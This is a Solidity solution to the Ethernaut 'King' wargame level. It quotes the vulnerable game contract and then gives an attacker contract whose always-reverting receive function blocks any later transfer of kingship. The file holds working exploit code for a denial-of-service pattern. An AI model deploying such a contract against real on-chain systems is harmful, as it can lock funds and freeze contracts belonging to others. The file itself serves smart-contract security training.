// https://ethernaut.openzeppelin.com/level/0x3049C00639E6dfC269ED1451764a046f7aE500c6
// The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD

// Such a fun game. Your goal is to break it.

// When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.
// // SPDX-License-Identifier: MIT
// pragma solidity ^0.8.0;

// contract King {

//   address king;
//   uint public prize;
//   address public owner;

//   constructor() payable {
//     owner = msg.sender;  
//     king = msg.sender;
//     prize = msg.value;
//   }

//   receive() external payable {
//     require(msg.value >= prize || msg.sender == owner);
//     payable(king).transfer(msg.value);
//     king = msg.sender;
//     prize = msg.value;
//   }

//   function _king() public view returns (address) {
//     return king;
//   }
// }

pragma solidity ^0.8.0;

contract KingAttacker {
    address payable public king_contract_address;
    event Sent(uint256 count, uint256 gas);

    constructor(address payable _king_contract_address) payable {
        emit Sent(1, gasleft());

        // pass 0xb2D7d7bfBA10c3B8c7c2531b264A38344e67eFD0
        king_contract_address = payable(_king_contract_address);

    }

    // receive function to handle Ether transfers
    receive() external payable {
        // Specify a condition to revert the transaction
        require(false, "Transaction reverted with a custom message");
    }

    function transfer() public payable {
        // pass 10000000000000001 wei 
        emit Sent(1, gasleft());
 
        require(msg.value > 0, "Must send Ether");
 
        (bool success, ) = king_contract_address.call{gas: gasleft(), value: msg.value}("");
 
        require(success, "Error with .call");
 
        emit Sent(2, gasleft());
    }


    function die(address payable addr) public payable {
        selfdestruct(addr);
    }
}